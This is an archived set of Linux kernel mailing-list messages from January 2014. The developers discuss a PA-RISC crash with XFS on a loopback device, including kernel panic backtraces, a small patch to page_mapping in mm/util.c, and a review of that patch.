>  r08-11  0000000010fe3d10 0000000000000001 00000040829c7778 000000413efd9000
>  r12-15  0000000000000000 000000004060d800 0000000010fe3000 0000000010fe3000
>  r16-19  000000413edd82a0 00000041078ddbc0 0000000000000010 0000000000000001
>  r20-23  0008f3d0d83a8000 0000000000000000 00000040829c7778 0000000000000080
>  r24-27  00000001bf349e40 00000001bf349e40 202d66202224640d 00000000405a95e0
>  r28-31  202d662022246465 000000413edd88f0 000000413edd89a0 0000000000000001
>  sr00-03  000000000532c000 0000000000000000 0000000000000000 000000000532c000
>  sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
>  IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401fe42c 00000000401fe430
>   IIR: 539c0030    ISR: 00000000202d6000  IOR: 000006202224647d
>   CPU:        3   CR30: 000000413edd8000 CR31: 0000000000000000
>   ORIG_R28: 00000000405a95e0
>   IAOQ[0]: vma_interval_tree_iter_first+0x14/0x48
>   IAOQ[1]: vma_interval_tree_iter_first+0x18/0x48
>   RP(r2): flush_dcache_page+0x128/0x388
>  Backtrace:
>   [<000000004013e6c0>] flush_dcache_page+0x128/0x388
>   [<0000000010fe6ca0>] lo_splice_actor+0x90/0x148 [loop]
>   [<00000000402579b0>] splice_from_pipe_feed+0xc0/0x1d0
>   [<00000000402580a4>] __splice_from_pipe+0xac/0xc0
>   [<0000000010fe6bbc>] lo_direct_splice_actor+0x1c/0x70 [loop]
>   [<000000004025854c>] splice_direct_to_actor+0xec/0x228
>   [<0000000010fe63ac>] lo_receive+0xe4/0x298 [loop]
>   [<0000000010fe69d8>] loop_thread+0x478/0x640 [loop]
>   [<000000004018975c>] kthread+0x134/0x168
>   [<000000004012c020>] end_fault_vector+0x20/0x28
>   [<00000000115e0098>] xfs_setsize_buftarg+0x0/0x90 [xfs]
> 
>  Kernel panic - not syncing: Bad Address (null pointer deref?)
> 
> The patch 8456a648cf44f14365f1f44de90a3da2526a4776 changes the page
> structure so that the slab subsystem reuses the page->mapping field.
> 
> The crash happens in the following way:
> * XFS allocates some memory from slab and issues a bio to read data into
>   it.
> * the bio is sent to the loopback device.
> * lo_receive creates an actor and calls splice_direct_to_actor.
> * lo_splice_actor copies data to the target page.
> * lo_splice_actor calls flush_dcache_page because the page may be mapped
>   by userspace. In that case we need to flush the kernel cache.
> * flush_dcache_page asks for the list of userspace mappings, however that
>   page->mapping field is reused by the slab subsystem for a different
>   purpose. This causes the crash.
> 
> Note that other architectures without coherent caches (sparc, arm, mips)
> also call page_mapping from flush_dcache_page, so they may crash in the
> same way.
> 
> This patch fixes this bug by testing if the page is a slab page in
> page_mapping and returning NULL if it is.
> 
> 
> The patch also fixes VM_BUG_ON(PageSlab(page)) that could happen in
> earlier kernels in the same scenario on architectures without cache
> coherence when CONFIG_DEBUG_VM is enabled - so it should be backported to
> stable kernels.
> 
> 
> In the old kernels, the function page_mapping is placed in
> include/linux/mm.h, so you should modify the patch accordingly when
> backporting it.
> 
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> Cc: stable@vger.kernel.org
> 
> ---
>  mm/util.c |    5 ++++-
>  1 file changed, 4 insertions(+), 1 deletion(-)
> 
> Index: linux-3.13-rc6/mm/util.c
> ===================================================================
> --- linux-3.13-rc6.orig/mm/util.c	2014-01-04 00:06:07.000000000 +0100
> +++ linux-3.13-rc6/mm/util.c	2014-01-04 00:24:42.000000000 +0100
> @@ -390,7 +390,10 @@ struct address_space *page_mapping(struc
>  {
>  	struct address_space *mapping = page->mapping;
>  
> -	VM_BUG_ON(PageSlab(page));
> +	/* This happens if someone calls flush_dcache_page on slab page */
> +	if (unlikely(PageSlab(page)))
> +		return NULL;
> +
>  	if (unlikely(PageSwapCache(page))) {
>  		swp_entry_t entry;
>  
> --

Hello,

I'm surprised that this VM_BUG_ON() has not been triggered until now. It was
introduced in 2007 by commit (b5fab14). Maybe there is no person who test
with CONFIG_DEBUG_VM.

There is one more bug report same as this.
* possible regression on 3.13 when calling flush_dcache_page
  (lkml.org/lkml/2013/12/12/255)

As mentioned in the description of commit (b5fab14), slab object may not be
properly aligned and use of page oriented function to this object can be
dangerous. I searched the XFS code and found that they only try to allocate
multiple of 512 bytes, so there is no problem for now. But, IMHO, it is better
not to use slab objects for this purpose.

And I rapidly searched every callsites of page_mapping() and, IMHO, this patch
would work correctly. But possibly reverting original commit is better solution.

Hello, Pekka and Christoph.
Could you teach me which direction we have to go?

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Ensure full cache coherency for kmap/kunmap
Date: Mon, 06 Jan 2014 10:21:47 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <52CA75AB.8@gmx.de>
References: <BLU0-SMTP52D17D9034339F8843CB9D97B70@phx.gbl> <52CA4C6B.5040605@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389000108 28041 80.91.229.3 (6 Jan 2014 09:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jan 2014 09:21:48 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
To: Dave Land <xmechanic@landcomp.net>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 06 10:21:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W06Nd-0003cG-HP
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jan 2014 10:21:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752790AbaAFJVw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jan 2014 04:21:52 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:50163 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752491AbaAFJVu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jan 2014 04:21:50 -0500
Original-Received: from [192.168.178.60] ([84.173.74.108]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lt2BW-1VFOpq1zvm-012c0Q for
 <linux-parisc@vger.kernel.org>; Mon, 06 Jan 2014 10:21:48 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <52CA4C6B.5040605@landcomp.net>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:re3LaMwfV1zXHU6VDoITqMDOZWS+pbmiun2x7aJk89N6LFnHBtA
 MVvc4aMFi/yaKramI7RU4oap1j5d2se2EkeoDgAdm7k8kRMGpmQknSO5yX5bBGLhgCed6u5
 HwLzELZm/wh/bKmr0DWMhCTzFgA2BGDUbhg3Pw1h0qyYi9sNfCLeY5vxtwnKqvA4RRo/56f
 gPJlK58Eod8qXjCtYr6pQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5590>

On 01/06/2014 07:25 AM, Dave Land wrote:
> On 1/5/14 7:25 PM, John David Anglin wrote:
>> Helge Deller noted a few weeks ago problems with the AIO support
>> on parisc.  This change is the result of numerous iterations on how
>> best to deal with this problem.
>> 
>> The solution adopted here is to provide full cache coherency in a 
>> uniform manner on all parisc systems. This involves calling
>> flush_dcache_page() on kmap operations and 
>> flush_kernel_dcache_page() on kunmap operations.  As a result, the
>> copy_user_page() and clear_user_page() functions can be removed and
>> the overall code is simpler.
>> 
>> The change ensures that both userspace and kernel aliases to a
>> mapped page are invalidated and flushed. This is necessary for the
>> correct operation of PA8800 and PA8900 based systems which do not
>> support inequivalent aliases.
>> 
>> With this change, I have observed no cache related issues on c8000
>> and rp3440.  It is now possible for example to do kernel builds
>> with "-j64" on four way systems.
>> 
>> On systems using XFS file systems, the patch recently posted by
>> Mikulas Patocka to "fix crash using XFS on loopback" is needed to
>> avoid a hang caused by an uninitialized lock passed to
>> flush_dcache_page() in the page struct.
>> 
>> Signed-off-by: John David Anglin  <dave.anglin@bell.net> ---
>> 
>> 
> 
> Just an FYI for all... I still get the inequivalent aliases messages
> periodically on both my PA8700 machines, and the only tasks they're

Just for the record:

The inequivalent aliases messages are uncritical and they are not related to this
patch. Those messages just mean, that the userspace processes needs to
be rebuilt to correctly align their data areas. A rebuild of those will
fix this problem.

The patch above should fix kernel bugs like this one:

[154422.816000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004021fa9c 000000004021faa0
[154422.964000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000006ffdb36c7f0
[154422.964000]  CPU:        1   CR30: 00000001fff6c000 CR31: ffffffffffffffff
[154423.108000]  ORIG_R28: 00000001ef520c48
[154423.108000]  IAOQ[0]: iov_iter_advance+0x3c/0xd0
[154423.252000]  IAOQ[1]: iov_iter_advance+0x40/0xd0
[154423.252000]  RP(r2): generic_file_buffered_write+0x20c/0x3e8
[154423.400000] Backtrace:
[154423.400000]  [<000000004022198c>] generic_file_buffered_write+0x20c/0x3e8
[154423.544000]  [<00000000402242b4>] __generic_file_aio_write+0x24c/0x470
[154423.544000]  [<0000000040224570>] generic_file_aio_write+0x98/0x128
[154423.692000]  [<00000000107ab51c>] ext4_file_write+0xc4/0x558 [ext4]
[154423.836000]  [<000000004029ec78>] do_sync_write+0x90/0xe8
[154423.836000]  [<000000004029f6ac>] vfs_write+0xdc/0x298
[154423.984000]  [<00000000402a05c0>] SyS_write+0xa0/0x108
[154423.984000]  [<0000000040105fc0>] syscall_exit+0x0/0x14

> doing at the moment is buildd work, and a LAMP-based website on the
> 'hpviz' (J6750), though I haven't seen any of those messages pointing
> toward issues with PHP, Apache2, or MySQL... at least not yet.
> Hopefully this patch will help eliminate the problem on the PA8700
> series and others. ;-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Mon, 6 Jan 2014 12:54:22 -0500 (EST)
Lines: 52
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com> <20140106073549.GA25771@lge.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1389030880 492 80.91.229.3 (6 Jan 2014 17:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jan 2014 17:54:40 +0000 (UTC)
Cc: Andi Kleen <ak@linux.intel.com>, Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 06 18:54:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W0ENv-0000mJ-8C
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jan 2014 18:54:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755473AbaAFRyl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jan 2014 12:54:41 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:58819 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754601AbaAFRyk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jan 2014 12:54:40 -0500
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s06HsP28011381
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 6 Jan 2014 12:54:25 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s06HsOSU011311
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 6 Jan 2014 12:54:24 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s06HsNEo008300;
	Mon, 6 Jan 2014 12:54:23 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s06HsMAS008296;
	Mon, 6 Jan 2014 12:54:23 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140106073549.GA25771@lge.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5591 gmane.linux.kernel:1623661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5591>

Hi

On Mon, 6 Jan 2014, Joonsoo Kim wrote:

> Hello,
> 
> I'm surprised that this VM_BUG_ON() has not been triggered until now. It was
> introduced in 2007 by commit (b5fab14). Maybe there is no person who test
> with CONFIG_DEBUG_VM.

Last time I tried it, PS-RISC didn't work with CONFIG_DEBUG_VM at all.

> There is one more bug report same as this.
> * possible regression on 3.13 when calling flush_dcache_page
>   (lkml.org/lkml/2013/12/12/255)

That link doesn't show anything.

> As mentioned in the description of commit (b5fab14), slab object may not be
> properly aligned and use of page oriented function to this object can be
> dangerous. I searched the XFS code and found that they only try to allocate
> multiple of 512 bytes, so there is no problem for now. But, IMHO, it is better
> not to use slab objects for this purpose.

If slab debugging is enabled, kmalloc memory is not aligned.

In XFS in xfs_buf_allocate_memory they test if the kmalloc memory crosses 
page boundary - if it does, they free the kmalloc memory and allocate a 
full page. Maybe this approach could still run into problems with some 
bus-master adapters that assume alignment in hardware...


dm-bufio also does I/O to slab-allocated buffers, but it allocates the 
object from slab (not kmalloc) with proper alignment.

> And I rapidly searched every callsites of page_mapping() and, IMHO, this 
> patch would work correctly. But possibly reverting original commit is 
> better solution.

Reverting the original commit wouldn't fix that VM_BUG_ON.

> Hello, Pekka and Christoph.
> Could you teach me which direction we have to go?
> 
> Thanks.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Tue, 7 Jan 2014 10:41:59 +0900
Lines: 67
Approved: news@gmane.org
Message-ID: <20140107014159.GA26726@lge.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
 <20140106073549.GA25771@lge.com>
 <alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1389058906 28552 80.91.229.3 (7 Jan 2014 01:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jan 2014 01:41:46 +0000 (UTC)
Cc: Andi Kleen <ak@linux.intel.com>, Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 07 02:41:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W0Lfy-0003Y1-HV
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Jan 2014 02:41:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932145AbaAGBlu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jan 2014 20:41:50 -0500
Original-Received: from lgeamrelo02.lge.com ([156.147.1.126]:49664 "EHLO
	LGEAMRELO02.lge.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932114AbaAGBlt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jan 2014 20:41:49 -0500
X-AuditID: 9c93017e-b7cd8ae000002ce9-96-52cb5b5a9419
Original-Received: from lge.com ( [10.177.222.132])
	by LGEAMRELO02.lge.com (Symantec Brightmail Gateway) with SMTP id 2F.CF.11497.A5B5BC25; Tue,  7 Jan 2014 10:41:46 +0900 (KST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Brightmail-Tracker: AAAAAA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5592 gmane.linux.kernel:1624195
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5592>

On Mon, Jan 06, 2014 at 12:54:22PM -0500, Mikulas Patocka wrote:
> Hi
> 
> On Mon, 6 Jan 2014, Joonsoo Kim wrote:
> 
> > Hello,
> > 
> > I'm surprised that this VM_BUG_ON() has not been triggered until now. It was
> > introduced in 2007 by commit (b5fab14). Maybe there is no person who test
> > with CONFIG_DEBUG_VM.
> 
> Last time I tried it, PS-RISC didn't work with CONFIG_DEBUG_VM at all.
> 
> > There is one more bug report same as this.
> > * possible regression on 3.13 when calling flush_dcache_page
> >   (lkml.org/lkml/2013/12/12/255)
> 
> That link doesn't show anything.
> 
> > As mentioned in the description of commit (b5fab14), slab object may not be
> > properly aligned and use of page oriented function to this object can be
> > dangerous. I searched the XFS code and found that they only try to allocate
> > multiple of 512 bytes, so there is no problem for now. But, IMHO, it is better
> > not to use slab objects for this purpose.
> 
> If slab debugging is enabled, kmalloc memory is not aligned.
> 
> In XFS in xfs_buf_allocate_memory they test if the kmalloc memory crosses 
> page boundary - if it does, they free the kmalloc memory and allocate a 
> full page. Maybe this approach could still run into problems with some 
> bus-master adapters that assume alignment in hardware...
> 
> 
> dm-bufio also does I/O to slab-allocated buffers, but it allocates the 
> object from slab (not kmalloc) with proper alignment.

Hello,

Okay. I see.
Thanks for good explanation.

> 
> > And I rapidly searched every callsites of page_mapping() and, IMHO, this 
> > patch would work correctly. But possibly reverting original commit is 
> > better solution.
> 
> Reverting the original commit wouldn't fix that VM_BUG_ON.

Initially, I thought that VM_BUG_ON() isn't wrong and it was better to remove
the callsites where do I/O with slab-allocated buffers, because doing I/O
with slab-allocated buffers needs a great care. So I didn't fully agreed with
your patch and recommended to revert original commit yesterday. After reverting
that, I would attempt to remove the callsites.

But, now, I change my thought, because of your explanation. There are already
some users to do I/O with slab-allocated buffers and they already did it with
some cares, so I guess that admitting this usage is more beneficial than
forbidding it.

Reviewed-by: Joonsoo Kim <iamjoonsoo.kim@lge.com>

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Wed, 08 Jan 2014 22:05:24 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <52CDBD94.9090808@gmx.de>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com> <20140106073549.GA25771@lge.com> <alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com> <20140107014159.GA26726@lge.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389215133 8214 80.91.229.3 (8 Jan 2014 21:05:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jan 2014 21:05:33 +0000 (UTC)
Cc: Andi Kleen <ak@linux.intel.com>, Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 08 22:05:38 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1W10Jk-0007pT-Ge
	for glk-linux-kernel-3@plane.gmane.org; Wed, 08 Jan 2014 22:05:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757450AbaAHVFa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 8 Jan 2014 16:05:30 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:63821 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751565AbaAHVF2 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 8 Jan 2014 16:05:28 -0500
Original-Received: from server.box ([84.173.33.108]) by mail.gmx.com (mrgmx002) with
 ESMTPA (Nemesis) id 0LlVZv-1VQq9J3vRn-00bICz for
 <linux-kernel@vger.kernel.org>; Wed, 08 Jan 2014 22:05:27 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140107014159.GA26726@lge.com>
X-Provags-ID: V03:K0:Y6OZSFfvhfs29SwvSOPfiZivBEUhfacd5xtrCpJmdvzbiALdIoJ
 Gwtl0UgQ0FiyLl+vcakZcxuf+QNO+/GrSZZ7ogVFaQA+b0NziXYq5VdUDfTC+6K7CTFDmNX
 p8dgkWdV8d68tnchlHE5YiI2guPInKIxChUKvePtsOxUiBvBDHtZVx5mNBRAhs4vOHo8caN
 CLhJ671XwX9xQeV6DJPhw==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1625608 gmane.linux.ports.parisc:5593
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1625608>

On 01/07/2014 02:41 AM, Joonsoo Kim wrote:
> On Mon, Jan 06, 2014 at 12:54:22PM -0500, Mikulas Patocka wrote:
>> Hi
>>
>> On Mon, 6 Jan 2014, Joonsoo Kim wrote:
>>
>>> Hello,
>>>
>>> I'm surprised that this VM_BUG_ON() has not been triggered until now. It was
>>> introduced in 2007 by commit (b5fab14). Maybe there is no person who test
>>> with CONFIG_DEBUG_VM.
>> Last time I tried it, PS-RISC didn't work with CONFIG_DEBUG_VM at all.
>>
>>> There is one more bug report same as this.
>>> * possible regression on 3.13 when calling flush_dcache_page
>>>    (lkml.org/lkml/2013/12/12/255)
>> That link doesn't show anything.
>>
>>> As mentioned in the description of commit (b5fab14), slab object may not be
>>> properly aligned and use of page oriented function to this object can be
>>> dangerous. I searched the XFS code and found that they only try to allocate
>>> multiple of 512 bytes, so there is no problem for now. But, IMHO, it is better
>>> not to use slab objects for this purpose.
>> If slab debugging is enabled, kmalloc memory is not aligned.
>>
>> In XFS in xfs_buf_allocate_memory they test if the kmalloc memory crosses
>> page boundary - if it does, they free the kmalloc memory and allocate a
>> full page. Maybe this approach could still run into problems with some
>> bus-master adapters that assume alignment in hardware...
>>
>>
>> dm-bufio also does I/O to slab-allocated buffers, but it allocates the
>> object from slab (not kmalloc) with proper alignment.
> Hello,
>
> Okay. I see.
> Thanks for good explanation.
>
>>> And I rapidly searched every callsites of page_mapping() and, IMHO, this
>>> patch would work correctly. But possibly reverting original commit is
>>> better solution.
>> Reverting the original commit wouldn't fix that VM_BUG_ON.
> Initially, I thought that VM_BUG_ON() isn't wrong and it was better to remove
> the callsites where do I/O with slab-allocated buffers, because doing I/O
> with slab-allocated buffers needs a great care. So I didn't fully agreed with
> your patch and recommended to revert original commit yesterday. After reverting
> that, I would attempt to remove the callsites.
>
> But, now, I change my thought, because of your explanation. There are already
> some users to do I/O with slab-allocated buffers and they already did it with
> some cares, so I guess that admitting this usage is more beneficial than
> forbidding it.
>
> Reviewed-by: Joonsoo Kim <iamjoonsoo.kim@lge.com>

I can queue up this patch in my next pull-request for the parisc-tree 
which I plan to
send tomorrow, unless people want this patch to go via mm-tree or 
similiar...
Please let me know.

Helge

From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Wed, 8 Jan 2014 23:37:49 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
	<20140106073549.GA25771@lge.com>
	<alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
	<20140107014159.GA26726@lge.com>
	<52CDBD94.9090808@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1389217070 30979 80.91.229.3 (8 Jan 2014 21:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jan 2014 21:37:50 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 08 22:37:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W10oy-0004Pl-Aj
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Jan 2014 22:37:52 +0100
